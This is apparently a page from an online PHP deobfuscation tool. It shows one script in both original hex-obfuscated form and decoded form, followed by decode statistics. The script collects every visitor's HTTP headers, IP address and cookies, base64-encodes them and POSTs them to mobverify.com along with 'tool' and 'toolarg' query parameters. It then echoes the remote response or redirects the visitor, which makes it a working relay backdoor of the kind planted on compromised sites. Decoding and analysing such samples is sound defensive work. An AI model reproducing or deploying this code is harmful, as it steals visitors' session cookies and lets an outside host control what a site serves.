Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x68\x76dv\x65\x76\x78\x72"]="\x63\x6fn\x74\x65n..

Decoded Output download

<?php ${"GLOBALS"}["nhvdvevxr"]="content";${"GLOBALS"}["inifulikeut"]="ch";${"GLOBALS"}["smxthruvcna"]="postfields";${"GLOBALS"}["fejredo"]="cookies";${"GLOBALS"}["zkroiq"]="ch";${"GLOBALS"}["nrhxfldvr"]="value";${"GLOBALS"}["fqqtzco"]="http_headers";${"GLOBALS"}["mwqxpcvh"]="key";${"GLOBALS"}["iwntmnciblmz"]="ch";$eyhvazw="ch";${"GLOBALS"}["qjvhmznz"]="http_headers";${"GLOBALS"}["rpdhkmqvtio"]="postfields";$ebponloch="value";$myladnv="http_headers";$ywchutf="http_headers";${"GLOBALS"}["ukjqsqikre"]="url";$sknzeexbob="key";$query_string=http_build_query($_GET);$rfgnscynr="ch";if(empty($query_string)){die("Empty query string");}${${"GLOBALS"}["ukjqsqikre"]}="https://mobverify.com/mirror-v2.php?$query_string";${"GLOBALS"}["ivyioicnedue"]="url";${"GLOBALS"}["dpazfqyz"]="url_new";$temjvio="url_new";${${"GLOBALS"}["qjvhmznz"]}=array();foreach($_SERVER as${$sknzeexbob}=>${$ebponloch}){${"GLOBALS"}["rychhgv"]="key";if(substr(${${"GLOBALS"}["mwqxpcvh"]},0,5)==="HTTP_"||${${"GLOBALS"}["rychhgv"]}==="REMOTE_ADDR"){${"GLOBALS"}["kptjnfhfkio"]="key";${${"GLOBALS"}["qjvhmznz"]}[${${"GLOBALS"}["kptjnfhfkio"]}]=${${"GLOBALS"}["nrhxfldvr"]};}}${"GLOBALS"}["xplvlflbu"]="http_headers";$ygysqvpo="cookies";$pcpqkdbirwp="ch";${${"GLOBALS"}["xplvlflbu"]}=json_encode(${$ywchutf});${$myladnv}=base64_encode(${${"GLOBALS"}["fqqtzco"]});${$ygysqvpo}=json_encode($_COOKIE);${${"GLOBALS"}["fejredo"]}=base64_encode(${${"GLOBALS"}["fejredo"]});${${"GLOBALS"}["rpdhkmqvtio"]}=array("tool"=>filter_input(INPUT_GET,"tool"),"toolarg"=>filter_input(INPUT_GET,"toolarg"),"headers"=>${${"GLOBALS"}["qjvhmznz"]},"cookies"=>${${"GLOBALS"}["fejredo"]},);${${"GLOBALS"}["smxthruvcna"]}=json_encode(${${"GLOBALS"}["smxthruvcna"]});$bdxkddbtrgi="ch";${$pcpqkdbirwp}=curl_init();curl_setopt(${${"GLOBALS"}["zkroiq"]},CURLOPT_URL,${${"GLOBALS"}["ivyioicnedue"]});curl_setopt(${$bdxkddbtrgi},CURLOPT_POST,true);${"GLOBALS"}["ifmrcknb"]="ch";curl_setopt(${${"GLOBALS"}["iwntmnciblmz"]},CURLOPT_POSTFIELDS,${${"GLOBALS"}["smxthruvcna"]});curl_setopt(${${"GLOBALS"}["inifulikeut"]},CURLOPT_RETURNTRANSFER,true);curl_setopt(${$eyhvazw},CURLOPT_FOLLOWLOCATION,true);curl_setopt(${$rfgnscynr},CURLOPT_HTTPHEADER,array("Content-Type: application/json"));${${"GLOBALS"}["nhvdvevxr"]}=curl_exec(${${"GLOBALS"}["ifmrcknb"]});${$temjvio}=curl_getinfo(${${"GLOBALS"}["inifulikeut"]},CURLINFO_EFFECTIVE_URL);curl_close(${${"GLOBALS"}["inifulikeut"]});$host=parse_url(${${"GLOBALS"}["dpazfqyz"]},PHP_URL_HOST);if($host==="mobverify.com"){$seujleiwee="content";echo${$seujleiwee};}else{header("Location: $url_new");} ?>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x68\x76dv\x65\x76\x78\x72"]="\x63\x6fn\x74\x65nt";${"G\x4c\x4f\x42AL\x53"}["i\x6e\x69f\x75\x6c\x69ke\x75\x74"]="\x63\x68";${"\x47\x4c\x4f\x42\x41LS"}["\x73\x6d\x78th\x72\x75\x76\x63\x6e\x61"]="\x70\x6f\x73t\x66ie\x6c\x64s";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x66\x65\x6a\x72e\x64o"]="\x63\x6f\x6f\x6bi\x65\x73";${"\x47LO\x42\x41L\x53"}["z\x6b\x72\x6fi\x71"]="ch";${"G\x4c\x4fB\x41\x4cS"}["n\x72\x68\x78\x66\x6c\x64\x76\x72"]="\x76a\x6c\x75\x65";${"\x47\x4cO\x42\x41\x4c\x53"}["fqq\x74zco"]="\x68\x74\x74\x70\x5f\x68e\x61der\x73";${"\x47\x4c\x4f\x42AL\x53"}["\x6dw\x71\x78\x70\x63v\x68"]="k\x65\x79";${"\x47\x4cO\x42\x41L\x53"}["\x69\x77\x6e\x74\x6d\x6ecibl\x6d\x7a"]="c\x68";$eyhvazw="\x63h";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71\x6avh\x6d\x7a\x6e\x7a"]="\x68t\x74p_h\x65\x61\x64\x65\x72s";${"G\x4c\x4f\x42A\x4c\x53"}["r\x70dh\x6b\x6d\x71v\x74\x69\x6f"]="\x70o\x73\x74fi\x65\x6c\x64s";$ebponloch="\x76a\x6cue";$myladnv="\x68tt\x70\x5f\x68\x65\x61\x64\x65\x72\x73";$ywchutf="\x68\x74t\x70_he\x61d\x65\x72s";${"\x47\x4c\x4fBA\x4c\x53"}["\x75\x6b\x6a\x71\x73\x71\x69kr\x65"]="\x75r\x6c";$sknzeexbob="\x6b\x65\x79";$query_string=http_build_query($_GET);$rfgnscynr="c\x68";if(empty($query_string)){die("\x45m\x70\x74\x79 \x71u\x65\x72\x79 \x73\x74r\x69\x6e\x67");}${${"\x47L\x4fB\x41LS"}["\x75k\x6a\x71\x73\x71i\x6b\x72\x65"]}="\x68\x74tps://mo\x62\x76erif\x79\x2ec\x6fm/mir\x72\x6fr-v2\x2eph\x70?$query_string";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69v\x79\x69\x6f\x69cned\x75\x65"]="ur\x6c";${"\x47LO\x42\x41\x4cS"}["\x64pa\x7a\x66\x71\x79\x7a"]="\x75r\x6c\x5f\x6e\x65\x77";$temjvio="\x75\x72\x6c\x5f\x6e\x65w";${${"\x47\x4c\x4fB\x41\x4c\x53"}["q\x6a\x76\x68m\x7a\x6e\x7a"]}=array();foreach($_SERVER as${$sknzeexbob}=>${$ebponloch}){${"\x47\x4cOB\x41\x4c\x53"}["\x72\x79\x63\x68hg\x76"]="\x6b\x65y";if(substr(${${"G\x4c\x4fB\x41\x4cS"}["\x6d\x77\x71\x78pc\x76\x68"]},0,5)==="HTT\x50_"||${${"\x47L\x4f\x42ALS"}["r\x79\x63\x68\x68\x67\x76"]}==="\x52E\x4dOTE\x5f\x41\x44\x44R"){${"G\x4c\x4fBA\x4c\x53"}["\x6bpt\x6anf\x68f\x6bi\x6f"]="\x6bey";${${"\x47\x4cOBAL\x53"}["\x71\x6a\x76\x68\x6d\x7a\x6e\x7a"]}[${${"GL\x4f\x42\x41\x4c\x53"}["\x6b\x70t\x6an\x66h\x66k\x69\x6f"]}]=${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6erhx\x66\x6c\x64v\x72"]};}}${"G\x4c\x4f\x42\x41\x4c\x53"}["\x78\x70l\x76lf\x6cb\x75"]="\x68\x74\x74\x70\x5f\x68e\x61d\x65rs";$ygysqvpo="\x63o\x6f\x6b\x69\x65\x73";$pcpqkdbirwp="\x63\x68";${${"G\x4c\x4f\x42\x41LS"}["\x78\x70l\x76lf\x6cbu"]}=json_encode(${$ywchutf});${$myladnv}=base64_encode(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["f\x71\x71\x74\x7a\x63\x6f"]});${$ygysqvpo}=json_encode($_COOKIE);${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x66e\x6a\x72\x65\x64\x6f"]}=base64_encode(${${"G\x4c\x4f\x42\x41\x4cS"}["\x66\x65\x6a\x72\x65\x64\x6f"]});${${"\x47L\x4f\x42\x41L\x53"}["r\x70\x64h\x6b\x6d\x71v\x74io"]}=array("too\x6c"=>filter_input(INPUT_GET,"t\x6fol"),"t\x6f\x6f\x6carg"=>filter_input(INPUT_GET,"\x74\x6fola\x72g"),"\x68\x65ad\x65\x72\x73"=>${${"\x47\x4cOB\x41\x4c\x53"}["qj\x76h\x6dz\x6ez"]},"co\x6f\x6bie\x73"=>${${"\x47\x4cO\x42AL\x53"}["\x66\x65\x6a\x72\x65\x64\x6f"]},);${${"GLO\x42\x41L\x53"}["smx\x74hr\x75\x76\x63\x6e\x61"]}=json_encode(${${"\x47LO\x42\x41LS"}["\x73\x6d\x78t\x68\x72u\x76\x63\x6e\x61"]});$bdxkddbtrgi="\x63\x68";${$pcpqkdbirwp}=curl_init();curl_setopt(${${"\x47\x4cO\x42\x41L\x53"}["z\x6br\x6f\x69\x71"]},CURLOPT_URL,${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69vy\x69\x6f\x69\x63\x6e\x65\x64\x75\x65"]});curl_setopt(${$bdxkddbtrgi},CURLOPT_POST,true);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x66\x6d\x72\x63\x6bn\x62"]="c\x68";curl_setopt(${${"\x47\x4c\x4fB\x41\x4cS"}["i\x77\x6et\x6d\x6e\x63\x69\x62l\x6dz"]},CURLOPT_POSTFIELDS,${${"G\x4c\x4f\x42\x41\x4c\x53"}["s\x6d\x78\x74h\x72u\x76\x63\x6ea"]});curl_setopt(${${"G\x4c\x4f\x42A\x4c\x53"}["\x69\x6e\x69\x66\x75\x6c\x69\x6be\x75\x74"]},CURLOPT_RETURNTRANSFER,true);curl_setopt(${$eyhvazw},CURLOPT_FOLLOWLOCATION,true);curl_setopt(${$rfgnscynr},CURLOPT_HTTPHEADER,array("C\x6f\x6e\x74e\x6e\x74-\x54\x79\x70e: ap\x70l\x69\x63a\x74ion/j\x73\x6f\x6e"));${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x68vdve\x76x\x72"]}=curl_exec(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69fm\x72\x63\x6bn\x62"]});${$temjvio}=curl_getinfo(${${"\x47\x4cO\x42AL\x53"}["\x69\x6ei\x66\x75\x6cike\x75\x74"]},CURLINFO_EFFECTIVE_URL);curl_close(${${"\x47\x4cOB\x41LS"}["ini\x66\x75\x6c\x69keu\x74"]});$host=parse_url(${${"\x47LO\x42\x41L\x53"}["d\x70\x61\x7a\x66\x71y\x7a"]},PHP_URL_HOST);if($host==="mo\x62\x76\x65rify.co\x6d"){$seujleiwee="\x63\x6f\x6et\x65nt";echo${$seujleiwee};}else{header("Lo\x63\x61\x74\x69o\x6e: $url_new");}

Function Calls

None

Variables

None

Stats

MD5 164e21c7411585e2312185019bb886d1
Eval Count 0
Decode Time 98 ms